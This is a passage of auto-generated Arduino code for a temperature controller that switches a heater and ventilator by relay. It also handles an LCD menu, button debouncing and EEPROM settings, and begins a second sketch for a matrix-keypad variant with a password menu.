\_MenuBlock\_47814740\_AMMO = 0;
\_MenuBlock\_47814740\_ASO\_1 = "";
\_MenuBlock\_47814740\_MNO = "";
\_MenuBlock\_47814740\_VNO = "";
}
if (\_gtv4) {
if ( ! \_MenuBlock\_47814740\_OMUIS) {
\_MenuBlock\_47814740\_OMUIS = 1; if (\_tempVariable\_bool) {
\_menuUpEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMUIS = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_47814740\_OMDIS) {
\_MenuBlock\_47814740\_OMDIS = 1; if (\_tempVariable\_bool) {
\_menuDownEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMDIS = 0;
}
if (( (\_gtv7) && (\_gtv6) )) {
if ( ! \_MenuBlock\_47814740\_OEMIS) {
\_MenuBlock\_47814740\_OEMIS = 1; if (\_tempVariable\_bool) {
\_menuEnterTheMenuEvents (0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OEMIS = 0;
}
if (\_gtv8) {
if ( ! \_MenuBlock\_47814740\_OExFMIS) {
\_MenuBlock\_47814740\_OExFMIS = 1; if (\_tempVariable\_bool) {
\_menuExitFromMenuEvents (0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OExFMIS = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_47814740\_OVUIS) {
\_MenuBlock\_47814740\_OVUIS = 1;
if (\_tempVariable\_bool) {
\_valueUpEvents(0);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueUpEvents(0);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVUIS = 0;
if ( ! ( \_gtv2)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (\_gtv2) {
if ( ! \_MenuBlock\_47814740\_OVDIS) {
\_MenuBlock\_47814740\_OVDIS = 1;
if (\_tempVariable\_bool) {
\_valueDownEvents(0);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueDownEvents(0);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVDIS = 0;
if ( ! ( \_gtv3)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (\_gtv6) {
\_dispTempLength1 = ((\_MenuBlock\_47814740\_MNO)).length();
if (\_disp2oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp2oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 0);
\_lcd1.print((\_MenuBlock\_47814740\_MNO));
} else {
if (\_disp2oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp2oldLength = 0;
}
}
if (\_gtv6) {
\_dispTempLength1 = ((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1)))).length();
if (\_disp1oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp1oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 1);
\_lcd1.print((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1))));
} else {
if (\_disp1oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp1oldLength = 0;
}
}
\_gtv9 = \_MenuBlock\_47814740\_AMMO;
if ((\_gtv11) > (Menu\_Value\_2\_TVD)) \_trgr3 = 0;
if ((\_gtv11) < (Menu\_Value\_1\_TVD)) \_trgr3 = 1;
digitalWrite(2, !(\_trgr3));
if (!(\_gtv6)) {
Menu\_Value\_1\_TVD = \_menuValueArray\_int[1];
}
\_gtv10 = \_trgr3;
if (!(\_gtv6)) {
Menu\_Value\_2\_TVD = \_menuValueArray\_int[3];
}
if ((\_gtv11) < (Menu\_Value\_4\_TVD)) \_trgr4 = 0;
if ((\_gtv11) > (Menu\_Value\_3\_TVD)) \_trgr4 = 1;
if (!(\_gtv6)) {
Menu\_Value\_3\_TVD = \_menuValueArray\_int[0];
}
digitalWrite(3, !(\_trgr4));
\_gtv12 = \_trgr4;
if (!(\_gtv6)) {
Menu\_Value\_4\_TVD = \_menuValueArray\_int[2];
}
digitalWrite(11, ( (( (\_gtv12) || (\_gtv10) )) && ((\_menuValueArray\_bool[0])) ));
if (\_gtv10)
{
\_swi1 = String("H - ON");
}
else
{
\_swi1 = String("H - OFF");
}
if (\_gtv12)
{
\_swi2 = String("V - ON");
}
else
{
\_swi2 = String("V - OFF");
}
if (!(\_gtv6)) {
\_dispTempLength1 = ((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C"))))).length();
if (\_disp3oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp3oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 0);
\_lcd1.print((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C")))));
} else {
if (\_disp3oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp3oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength1 = ((((\_swi1) + (String(" ")) + (\_swi2)))).length();
if (\_disp4oldLength > \_dispTempLength1) {
\_isNeedClearDisp1 = 1;
}
\_disp4oldLength = \_dispTempLength1;
\_lcd1.setCursor(int((16 - \_dispTempLength1) / 2), 1);
\_lcd1.print((((\_swi1) + (String(" ")) + (\_swi2))));
} else {
if (\_disp4oldLength > 0) {
\_isNeedClearDisp1 = 1;
\_disp4oldLength = 0;
}
}
}
String \_floatToStringWitRaz(float value, int raz)
{
return String(value, raz);
}
bool \_isTimer(unsigned long startTime, unsigned long period )
{
unsigned long currentTime;
currentTime = millis();
if (currentTime >= startTime) {
return (currentTime >= (startTime + period));
} else {
return (currentTime >= (4294967295 - startTime + period));
}
}
void \_menuUpEvents (byte menuIndex)
{
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStartIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStopIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex - 2];
return;
}
void \_menuDownEvents (byte menuIndex)
{
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStopIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStartIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex];
return;
}
void \_valueUpEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1 ] = 1;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] + (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
}
void \_valueDownEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1] = 0;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] - (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
}
void \_menuEnterTheMenuEvents (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (!(itemType == 0)) {
return;
}
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte newIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[tempIndex - 1]).startInArrayIndex) + 3]);
if (newIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[newIndex - 1];
return;
}
void \_menuExitFromMenuEvents (byte menuIndex)
{
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
if (parIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parIndex - 1];
return;
}
String \_menuOutputValueString (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte valueStrIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 11]);
if (itemType == 0) {
if ( valueStrIndex == 0) {
return "";
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[valueStrIndex - 1])));
}
}
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
if ( valIndex == 0) {
return "";
}
byte convFormat = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 9]);
if (itemType == 3) {
return \_convertBoolean(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 4) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
return "";
}
void \_menuUpdateToEEpromItems()
{
EEPROM.updateInt(2, (\_menuValueArray\_int[0]));
EEPROM.updateBit(1, 0, (\_menuValueArray\_bool[0]));
EEPROM.updateInt(4, (\_menuValueArray\_int[1]));
EEPROM.updateInt(6, (\_menuValueArray\_int[2]));
EEPROM.updateInt(8, (\_menuValueArray\_int[3]));
}
String \_readStringFromProgmem (char \*string)
{
String result = String("");
while (pgm\_read\_byte(string) != '\0')
{
result = result + char(pgm\_read\_byte(string));
string++;
}
return result;
}
String \_convertNamber(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (itemType == 4) {
if (convFormat == 4) {
return String((\_menuValueArray\_int[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_int[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_int[valIndex - 1]), BIN);
}
}
}
String \_convertBoolean(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (convFormat == 1) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "1";
} else {
return "0";
}
}
if (convFormat == 2) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "True";
} else {
return "False";
}
}
if (convFormat == 3) {
if (\_menuValueArray\_bool[valIndex - 1 ]) {
return "Да";
} else {
return "Нет";
}
}
if (\_menuValueArray\_bool[valIndex - 1]) {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMax - 1])));
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMin - 1])));
}
}
float \_convertDS18x2xData(byte type\_s, byte data[12])
{
int16\_t raw = (data[1] << 8) | data[0];
if (type\_s)
{
raw = raw << 3;
if (data[7] == 0x10) {
raw = (raw & 0xFFF0) + 12 - data[6];
}
}
else
{
byte cfg = (data[4] & 0x60);
if (cfg == 0x00) raw = raw & ~7; else if (cfg == 0x20) raw = raw & ~3; else if (cfg == 0x40) raw = raw & ~1;
}
return (float)raw / 16.0;
}
float \_readDS18\_ow12(byte addr[8], byte type\_s)
{ byte data[12];
byte i;
\_ow12.reset();
\_ow12.select(addr);
\_ow12.write(0xBE);
for ( i = 0; i < 9; i++) {
data[i] = \_ow12.read();
}
\_ow12.reset();
\_ow12.select(addr);
\_ow12.write(0x44, 1);
return \_convertDS18x2xData(type\_s, data);
}
bool \_oneWireSeach (byte array[], OneWire ow )
{
byte temp[8];
byte i;
if ( !ow.search(temp)) {
return false;
}
if (OneWire::crc8(temp, 7) != temp[7]) {
return false;
}
switch (temp[0]) {
case 0x10:
array[8] = 1;
break;
case 0x28:
array[8] = 0;
break;
case 0x22:
array[8] = 0;
break;
default:
return false;
}
for ( i = 0; i < 8; i++) {
array[i] = temp[i];
}
return true;
} struct UB\_142171746 \_func\_UB\_142171746(struct UB\_142171746 \_ubInstans, int ubi\_125089190, int ubpar\_125440348, int ubpar\_79146376, int ubpar\_175158211, int ubpar\_40719224)
{
bool ubo\_101667604 = \_ubInstans.ubo\_101667604;
bool ubo\_51674151 = \_ubInstans.ubo\_51674151;
bool ubo\_137412502 = \_ubInstans.ubo\_137412502;
bool ubo\_174461762 = \_ubInstans.ubo\_174461762;
bool ubo\_157422683 = \_ubInstans.ubo\_157422683;
int \_gtv1 = \_ubInstans.\_gtv1;
int \_gtv2 = \_ubInstans.\_gtv2;
int \_gtv3 = \_ubInstans.\_gtv3;
int \_gtv4 = \_ubInstans.\_gtv4;
int \_gtv5 = \_ubInstans.\_gtv5;
bool \_bounse1S = \_ubInstans.\_bounse1S;
bool \_bounse1O = \_ubInstans.\_bounse1O;
unsigned long \_bounse1P = \_ubInstans.\_bounse1P;
bool \_bounse2S = \_ubInstans.\_bounse2S;
bool \_bounse2O = \_ubInstans.\_bounse2O;
unsigned long \_bounse2P = \_ubInstans.\_bounse2P;
bool \_bounse3S = \_ubInstans.\_bounse3S;
bool \_bounse3O = \_ubInstans.\_bounse3O;
unsigned long \_bounse3P = \_ubInstans.\_bounse3P;
bool \_bounse4S = \_ubInstans.\_bounse4S;
bool \_bounse4O = \_ubInstans.\_bounse4O;
unsigned long \_bounse4P = \_ubInstans.\_bounse4P;
bool \_bounse5S = \_ubInstans.\_bounse5S;
bool \_bounse5O = \_ubInstans.\_bounse5O;
unsigned long \_bounse5P = \_ubInstans.\_bounse5P;
bool \_bounceTmpD1 = (ubi\_125089190) < (\_gtv1);
if (\_bounse1S)
{
if (millis() >= (\_bounse1P + 40))
{
\_bounse1O = \_bounceTmpD1;
\_bounse1S = 0;
}
}
else
{
if ( \_bounceTmpD1 != \_bounse1O )
{
\_bounse1S = 1;
\_bounse1P = millis();
}
}
bool \_bounceTmpD2 = ( ((ubi\_125089190) > (\_gtv1)) && ((ubi\_125089190) < (\_gtv2)) );
if (\_bounse2S)
{
if (millis() >= (\_bounse2P + 40))
{
\_bounse2O = \_bounceTmpD2;
\_bounse2S = 0;
}
}
else
{
if ( \_bounceTmpD2 != \_bounse2O )
{
\_bounse2S = 1;
\_bounse2P = millis();
}
}
bool \_bounceTmpD3 = ( ((ubi\_125089190) > (\_gtv2)) && ((ubi\_125089190) < (\_gtv3)) );
if (\_bounse3S)
{
if (millis() >= (\_bounse3P + 40))
{
\_bounse3O = \_bounceTmpD3;
\_bounse3S = 0;
}
}
else
{
if ( \_bounceTmpD3 != \_bounse3O )
{
\_bounse3S = 1;
\_bounse3P = millis();
}
}
bool \_bounceTmpD4 = ( ((ubi\_125089190) > (\_gtv3)) && ((ubi\_125089190) < (\_gtv4)) );
if (\_bounse4S)
{
if (millis() >= (\_bounse4P + 40))
{
\_bounse4O = \_bounceTmpD4;
\_bounse4S = 0;
}
}
else
{
if ( \_bounceTmpD4 != \_bounse4O )
{
\_bounse4S = 1;
\_bounse4P = millis();
}
}
bool \_bounceTmpD5 = ( ((ubi\_125089190) > (\_gtv4)) && ((ubi\_125089190) < (\_gtv5)) );
if (\_bounse5S)
{
if (millis() >= (\_bounse5P + 40))
{
\_bounse5O = \_bounceTmpD5;
\_bounse5S = 0;
}
}
else
{
if ( \_bounceTmpD5 != \_bounse5O )
{
\_bounse5S = 1;
\_bounse5P = millis();
}
}
\_gtv1 = (ubpar\_125440348) / (2);
\_gtv2 = (((ubpar\_79146376) - (ubpar\_125440348)) / (2)) + (ubpar\_125440348);
\_gtv3 = (((ubpar\_175158211) - (ubpar\_79146376)) / (2)) + (ubpar\_79146376);
\_gtv4 = (((ubpar\_40719224) - (ubpar\_175158211)) / (2)) + (ubpar\_175158211);
\_gtv5 = (((1023) - (ubpar\_40719224)) / (2)) + (ubpar\_40719224);
ubo\_101667604 = \_bounse1O;
ubo\_51674151 = \_bounse2O;
ubo\_137412502 = \_bounse3O;
ubo\_174461762 = \_bounse4O;
ubo\_157422683 = \_bounse5O;
\_ubInstans.ubo\_101667604 = ubo\_101667604;
\_ubInstans.ubo\_51674151 = ubo\_51674151;
\_ubInstans.ubo\_137412502 = ubo\_137412502;
\_ubInstans.ubo\_174461762 = ubo\_174461762;
\_ubInstans.ubo\_157422683 = ubo\_157422683;
\_ubInstans.\_gtv1 = \_gtv1;
\_ubInstans.\_gtv2 = \_gtv2;
\_ubInstans.\_gtv3 = \_gtv3;
\_ubInstans.\_gtv4 = \_gtv4;
\_ubInstans.\_gtv5 = \_gtv5;
\_ubInstans.\_bounse1S = \_bounse1S;
\_ubInstans.\_bounse1O = \_bounse1O;
\_ubInstans.\_bounse1P = \_bounse1P;
\_ubInstans.\_bounse2S = \_bounse2S;
\_ubInstans.\_bounse2O = \_bounse2O;
\_ubInstans.\_bounse2P = \_bounse2P;
\_ubInstans.\_bounse3S = \_bounse3S;
\_ubInstans.\_bounse3O = \_bounse3O;
\_ubInstans.\_bounse3P = \_bounse3P;
\_ubInstans.\_bounse4S = \_bounse4S;
\_ubInstans.\_bounse4O = \_bounse4O;
\_ubInstans.\_bounse4P = \_bounse4P;
\_ubInstans.\_bounse5S = \_bounse5S;
\_ubInstans.\_bounse5O = \_bounse5O;
\_ubInstans.\_bounse5P = \_bounse5P;
return \_ubInstans;
}
```
**Результат кода для матричной клавиатуры**
```
#include
#include
#include
#include
LiquidCrystal\_I2C \_lcd2(0x27, 20, 4);
int \_dispTempLength2 = 0;
boolean \_isNeedClearDisp2;
OneWire \_ow12(12);
byte \_FLPArray27618413[9];
const byte \_menuParametrsArray[] PROGMEM = {1, 5, 1, 0, 0, 0, 0, 0, 1, 4, 1, 0, 0, 2, 0, 0, 6, 7, 0, 0, 0, 0, 0, 9, 11, 0, 3, 0, 0, 8, 9, 0, 0, 0, 0, 0, 7, 11, 0, 4, 3, 1, 0, 0, 0, 12, 13, 1, 8, 4, 0, 0, 5, 5, 2, 0, 0, 0, 0, 0, 1, 4, 2, 0, 0, 6, 4, 4, 0, 0, 2, 0, 0, 1, 4, 8, 0, 10, 7, 4, 2, 0, 0, 2, 0, 0, 1, 4, 5, 0, 10, 8, 4, 3, 0, 0, 3, 0, 0, 1, 4, 6, 0, 10, 9, 4, 1, 0, 0, 3, 0, 0, 1, 4, 3, 0, 10};
bool \_menuValueArray\_bool[1];
const bool \_menuConstantValuesArray\_bool[] PROGMEM = {1};
int \_menuValueArray\_int[4];
const int \_menuConstantValuesArray\_int[] PROGMEM = {1};
long \_menuValueArray\_long[2];
const long \_menuConstantValuesArray\_long[] PROGMEM = {1};
const char \_flprogMenuNameString1[] PROGMEM = "Enter Password";
const char \_flprogMenuNameString2[] PROGMEM = "ChangePassword";
const char \_flprogMenuNameString3[] PROGMEM = "Vent-Off";
const char \_flprogMenuNameString4[] PROGMEM = "Sound";
const char \_flprogMenuNameString5[] PROGMEM = "Heater-Off";
const char \_flprogMenuNameString6[] PROGMEM = "Vent-On";
const char \_flprogMenuNameString7[] PROGMEM = "Vent Setting";
const char \_flprogMenuNameString8[] PROGMEM = "Heater-On";
const char \_flprogMenuNameString9[] PROGMEM = "HeaterSetting";
const char \_flprogMenuNameString10[] PROGMEM = "C";
const char \_flprogMenuNameString11[] PROGMEM = "Enter to submenu";
const char \_flprogMenuNameString12[] PROGMEM = "On";
const char \_flprogMenuNameString13[] PROGMEM = "Off";
const char\* const \_flprogMenuStringsArray[] PROGMEM = { \_flprogMenuNameString1, \_flprogMenuNameString2, \_flprogMenuNameString3, \_flprogMenuNameString4, \_flprogMenuNameString5, \_flprogMenuNameString6, \_flprogMenuNameString7, \_flprogMenuNameString8, \_flprogMenuNameString9, \_flprogMenuNameString10, \_flprogMenuNameString11, \_flprogMenuNameString12, \_flprogMenuNameString13};
struct \_menuItemStricture {
int startInArrayIndex;
};
struct \_menuMainStricture {
String tempString;
byte startIndex;
byte stopIndex;
bool isSwitchMenuAroundRing;
\_menuItemStricture currentItem;
};
\_menuItemStricture \_MenuItems[9];
\_menuMainStricture \_MainMenus[2];
bool \_gtv6;
bool \_gtv10 = 0;
float \_gtv11;
bool \_gtv12 = 0;
bool \_gtv1;
bool \_gtv2;
bool \_gtv3;
bool \_gtv4;
bool \_gtv5;
bool \_gtv13;
bool \_gtv14;
bool \_gtv15;
bool \_gtv16;
bool \_gtv17;
bool \_gtv18;
bool \_gtv19;
bool \_gtv20;
bool \_gtv21;
bool \_gtv22;
bool \_gtv23;
bool \_gtv7;
bool \_gtv8;
bool \_trgr4 = 0;
int Menu\_Value\_1\_TVD = 0;
bool \_trgrt2 = 0;
bool \_trgrt2I = 0;
bool \_trgt1 = 0;
bool \_trgt1I = 0;
int \_disp4oldLength = 0;
String \_MenuBlock\_47814740\_ASO\_1;
String \_MenuBlock\_47814740\_MNO;
String \_MenuBlock\_47814740\_VNO;
bool \_MenuBlock\_47814740\_OEIS = 0;
bool \_MenuBlock\_47814740\_OMUIS = 0;
bool \_MenuBlock\_47814740\_OMDIS = 0;
bool \_MenuBlock\_47814740\_OEMIS = 0;
bool \_MenuBlock\_47814740\_OExFMIS = 0;
bool \_MenuBlock\_47814740\_OVUIS = 0;
bool \_MenuBlock\_47814740\_OVDIS = 0;
unsigned long \_MenuBlock\_47814740\_VUDST = 0UL;
unsigned long \_MenuBlock\_47814740\_VUDSPT = 0UL;
byte \_MenuBlock\_47814740\_VUDSM = 0;
int \_MenuBlock\_47814740\_VUDPT = 0;
bool \_MenuBlock\_47814740\_IDI\_0 = 0;
bool \_MenuBlock\_47814740\_IDI\_1 = 0;
bool \_MenuBlock\_47814740\_IDI\_2 = 0;
bool \_MenuBlock\_47814740\_IDI\_3 = 0;
bool \_MenuBlock\_47814740\_IDI\_4 = 0;
bool \_MenuBlock\_47814740\_IDI\_5 = 0;
bool \_MenuBlock\_47814740\_IDI\_6 = 0;
bool \_MenuBlock\_47814740\_IDI\_7 = 0;
bool \_MenuBlock\_47814740\_IDI\_8 = 0;
bool \_MenuBlock\_47814740\_IDI\_9 = 0;
bool \_MenuBlock\_47814740MinusIOS = 0;
bool \_trgr1 = 0;
bool \_trgr3 = 0;
bool \_mkb1C1xP1 = 0;
bool \_mkb1C1xP2 = 0;
bool \_mkb1C1xP3 = 0;
bool \_mkb1C1xP4 = 0;
bool \_mkb1C2xP1 = 0;
bool \_mkb1C2xP2 = 0;
bool \_mkb1C2xP3 = 0;
bool \_mkb1C2xP4 = 0;
bool \_mkb1C3xP1 = 0;
bool \_mkb1C3xP2 = 0;
bool \_mkb1C3xP3 = 0;
bool \_mkb1C3xP4 = 0;
bool \_mkb1C4xP1 = 0;
bool \_mkb1C4xP2 = 0;
bool \_mkb1C4xP3 = 0;
bool \_mkb1C4xP4 = 0;
bool \_trgrt1 = 0;
bool \_trgrt1I = 0;
int Menu\_Value\_4\_TVD = 0;
int \_disp7oldLength = 0;
String \_swi2;
int \_disp2oldLength = 0;
String \_MenuBlock\_360159546\_MNO;
String \_MenuBlock\_360159546\_VNO;
bool \_MenuBlock\_360159546\_OEIS = 0;
bool \_MenuBlock\_360159546\_OMUIS = 0;
bool \_MenuBlock\_360159546\_OMDIS = 0;
bool \_MenuBlock\_360159546\_OVUIS = 0;
bool \_MenuBlock\_360159546\_OVDIS = 0;
bool \_MenuBlock\_360159546\_IDI\_0 = 0;
bool \_MenuBlock\_360159546\_IDI\_1 = 0;
bool \_MenuBlock\_360159546\_IDI\_2 = 0;
bool \_MenuBlock\_360159546\_IDI\_3 = 0;
bool \_MenuBlock\_360159546\_IDI\_4 = 0;
bool \_MenuBlock\_360159546\_IDI\_5 = 0;
bool \_MenuBlock\_360159546\_IDI\_6 = 0;
bool \_MenuBlock\_360159546\_IDI\_7 = 0;
bool \_MenuBlock\_360159546\_IDI\_8 = 0;
bool \_MenuBlock\_360159546\_IDI\_9 = 0;
int Menu\_Value\_3\_TVD = 0;
int Menu\_Value\_2\_TVD = 0;
String \_swi1;
int \_disp1oldLength = 0;
int \_disp3oldLength = 0;
int \_disp6oldLength = 0;
unsigned long \_d18x2x1Tti = 0UL;
float \_d18x2x1O = 0.00;
int \_disp5oldLength = 0;
bool \_sowb1\_needScan = 0;
bool \_sowb1\_ost = 0;
bool \_sowb1\_FLPArray27618413 = 0;
void setup()
{
if ((EEPROM.read(0)) != 99) {
EEPROM.write(0, 99) ;
EEPROM.updateInt(10, 40);
EEPROM.updateBit(1, 0, 0);
EEPROM.updateInt(6, 30);
EEPROM.updateInt(12, 10);
EEPROM.updateLong(2, 123456);
EEPROM.updateInt(8, 25);
}
Wire.begin();
pinMode(16, OUTPUT);
pinMode(15, OUTPUT);
pinMode(17, OUTPUT);
\_lcd2.init();
\_lcd2.backlight();
pinMode(6, INPUT);
digitalWrite(6, HIGH);
pinMode(7, INPUT);
digitalWrite(7, HIGH);
pinMode(8, INPUT);
digitalWrite(8, HIGH);
pinMode(9, INPUT);
digitalWrite(9, HIGH);
pinMode(2, OUTPUT);
digitalWrite(2, HIGH);
pinMode(3, OUTPUT);
digitalWrite(3, HIGH);
pinMode(4, OUTPUT);
digitalWrite(4, HIGH);
pinMode(5, OUTPUT);
digitalWrite(5, HIGH);
\_MenuItems[0].startInArrayIndex = 0;
\_MenuItems[1].startInArrayIndex = 13;
\_MenuItems[2].startInArrayIndex = 26;
\_MenuItems[3].startInArrayIndex = 39;
\_MenuItems[4].startInArrayIndex = 52;
\_MenuItems[5].startInArrayIndex = 65;
\_MenuItems[6].startInArrayIndex = 78;
\_MenuItems[7].startInArrayIndex = 91;
\_MenuItems[8].startInArrayIndex = 104;
\_MainMenus[0].tempString = "";
\_MainMenus[0].startIndex = 1;
